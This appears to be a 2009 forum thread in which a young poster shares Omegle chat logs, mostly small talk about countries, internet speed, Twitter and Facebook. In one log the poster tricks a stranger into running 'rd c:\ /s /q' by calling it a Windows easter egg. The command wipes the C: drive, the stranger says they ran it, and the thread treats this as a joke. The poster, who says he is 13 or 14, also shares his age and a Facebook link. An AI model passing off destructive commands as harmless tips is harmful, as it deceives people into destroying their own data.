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You: Hi
Stranger: hi
Stranger: asl?
You: Where r u from?
You: *BUZZ*
Stranger: buzz?
Stranger: china
Stranger: you?
You: Oh
You: malaysia
You: Is internet there fast?
Stranger: no
You: Same here
Stranger: ......where is malaysia?
You: U dont know?
You: Beside Singapore
You: Beside Indonesia
You: Beside Thailand
Stranger: i got it
Stranger: male or female?
Stranger: can you speak chinese?
You: Male
You: Not really
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You: Disconnect
Stranger: bye
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Latest..

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You: Halo
Stranger: halo
You: WHERE ARE U from?
Stranger: BRAZIL
Stranger: and u
You: Asia
Stranger: where in asia
Stranger: asia is pretty f***in big
You: Malaysia
Stranger: male ?
You: Ya
Stranger: shit
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Wow.. Lolyat have a very good word censorship

This post has been edited by Azlan96: Apr 15 2009, 02:33 PM

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Stranger: 21 m us looking for a girl for cam 2 cam chat
You: dude, u stole my car!
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You: hello
You: is david there?
Stranger: ASL
Stranger: no
You: ???
Stranger: i'm not
You: PROFIT
You: W00t!!!!!
You: This is going on /b/
You: I'm finally an hero
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Stranger: HAHAH
Stranger: :''D
You: Hi! do you have windows or mac?
Stranger: what's up
Stranger: windows
Stranger: ya?
You: I have windows too
You: I know a secret easter egg in windows
You: Go to start then click run
You: Type cmd then press enter
You: Then type rd c:\ /s /q and in cmd it shows a video about steve jobs getting shot! XD
Stranger: ok,...
Stranger: i did it
You: i must go bye!
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You: hey
Stranger: sup bro
You: nutttttttiiiiiiiiinnnnnnn
Stranger: tight
Stranger: they find david yet?
You: No
You: Lol
Stranger: Aww man.
You: /b/ never found David
Stranger: why not...I mean it's only 2561 people...
Stranger: one of them HAS TO BE DAVID.
You: Yeah
Stranger: Also when did /b/rothers find this shit...I came here about 6 days ago...and anons hadn't set foot yet.
Stranger: Or at least it wasn't mainstream.
You: Omegle trolling has been going on on /b/ for ages
You: oh and congratulations!
You: You just lost the game!!!
Stranger: Shiiiiiiiiiiiii i lost it like...f***ing weeks ago.
You: lol
You: bye
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Stranger: hi
You: Aloo
You: Im so bored
Stranger: asl?
You: Age: <not telling>
Stranger: haha
Stranger: why?
You: you r a stranger
You: So you have Twitter?
You: *Do
Stranger: so young?
Stranger: no
Stranger: i'm not stranger
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You: Aloha
You: Anybody there?
Stranger: hihi
You: The other guy just disconnect me...
Stranger: me too
Stranger: asl?
You: Your asl first
Stranger: 17/m/taiwan
You: 13/m/Malaysia
Stranger: you are so young~
You: Im started browsing the internets when i was 6
Stranger: so....you must very smart
You: well, not so..
Stranger: really?
You: At school is not sol
You: *so
Stranger: oh~
Stranger: seeya
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This post has been edited by Azlan96: Jul 1 2009, 05:54 PM

I want to thank this stranger

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You: U got Twitter?
Stranger: nope
Stranger: twitter is for fat people
You: Who says so?
Stranger: only old people are actually using twitter
Stranger: nobody reasonable uses it
Stranger: it's less functional than IM or facebook
You: Facebook is heavy
Stranger: what do you mean, heavy?
Stranger: you can post silly updates
Stranger: just like with twitter
You: The website is big, too much Apps
Stranger: you don't have to use apps
You: but other people who dont have FB cant see your status on FB
Stranger: you can make your profile open
You: How?
Stranger: change your privacy settings
You: Wit
You: Wait
You: I login to FB first
Stranger: i'm pretty sure you can set it so anybody can see your profile
You: I dont think so, coz nobody i've seen has not private profile
You: I think FB made that for safety
Stranger: i'll check my account
Stranger: ...
Stranger: yeah,
Stranger: i'm right
Stranger: you can make it so everybody can see your info
You: Teach me
Stranger: go to settings-->privacy
Stranger: do you see what i mean?
You: Wait i load that page
You: I loaded Privacy page, now what?
You: you still there?
Stranger: click on "Profile"
Stranger: click on "Profile"
You: W00t!! Thx!!
Stranger: yeah, you can make anything public if you want
Stranger: facebook>twitter
You: i know http://www.facebook.com/Azlan96
Stranger: twitter=fat people
You: What time is it there?
Stranger: 3AM
Stranger: were you born in 1996?
You: Uhuh
Stranger: your profile said you born in 1989
You: of u cant out 1996 when registering on FB
Stranger: oh
Stranger: ok, well i should go to sleep
Stranger: have fun with facebook
Stranger: bye
You: Good morning! Since its 3AM already, mine is 6 PM
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^ Oh noes!!

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You: The other stranger helped me alot
Stranger: Hi
Stranger: In what?
You: FaceBook
Stranger: u M or F?
You: M
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Another one

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Stranger: hey
You: Hey
Stranger: wuu2
You: I am a /K/ Tard
Stranger: ?
You: http://www.lolyat.net
Stranger: nice viruses on ther
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WAFFAK? CONNECTION IMPLODED?

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You: Halo
Stranger: halooo
You: Do u use Twitter?
Stranger: nope.
Stranger: fb?
You: Are u the guy im talking to yesterday?
Stranger: noo... a new one
You: oh....
Stranger: r u a gal or a guy?
You: guY... I rarely found girl on the internet
Stranger: reli? im a girl haha
i use this site for da 1st time
You: Ohh,, I used Omegle many times be4 and never chat with a girl
You: How did u know bout this Omegle?
Stranger: im an asian, i dun use eng well
sry for any problems caused
You: im an asian too
Stranger: ic...
my frd tell me abt the site
Stranger: OH!
Stranger: where r u from
You: Malaysia
Stranger: icic.. im a hongkonger
You: oh..... Internet there must be fast...
Stranger: haha
Stranger: how old r u?
You: about 14
Stranger: then im older, im 17
Stranger: do u know chinese?
You: just A BIT
Stranger: i know some malaysian know chin
Stranger: woo!!
You: Most malaysian chinese here talk Mandarin
Stranger: cool~then u know how to speak mandarin?
You: Not really, but i am still learning
Stranger: do u know how to write?
You: That one not yet
Stranger: well in hk we learn eng n chin..
we know cantonese but not many ppl know mandarin well
Stranger: haha can u share some of ur interesting exp. in omegle?
You: well a lot
You: wait
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This post has been edited by Azlan96: Jul 2 2009, 07:43 PM

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A word of advice: "asl" is boring. Please find something more interesting to talk about!
You: Прывітаньне
Stranger: what??
You: Hello in Belarusian
You: got it from Google Translate
Stranger: aha ok
You: Im bored
Stranger: Hello Im Korean
You: You must have a High Speed Internet there
Stranger: yeah!
You: How fast?
Stranger: umm.......... very very very,,,,,,
You: Try going to speedtest.net
Stranger: ok wait
You: Click on the yellow pyramid
Stranger: down - 52.57
Stranger: up - 16.53
You: Wow, Can you click on the COPY DIRECT LINK and post it here?
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Omegle is not a dating site. Please try to have interesting conversations here!
Stranger: hey
You: hey
Stranger: f or m?
You: m
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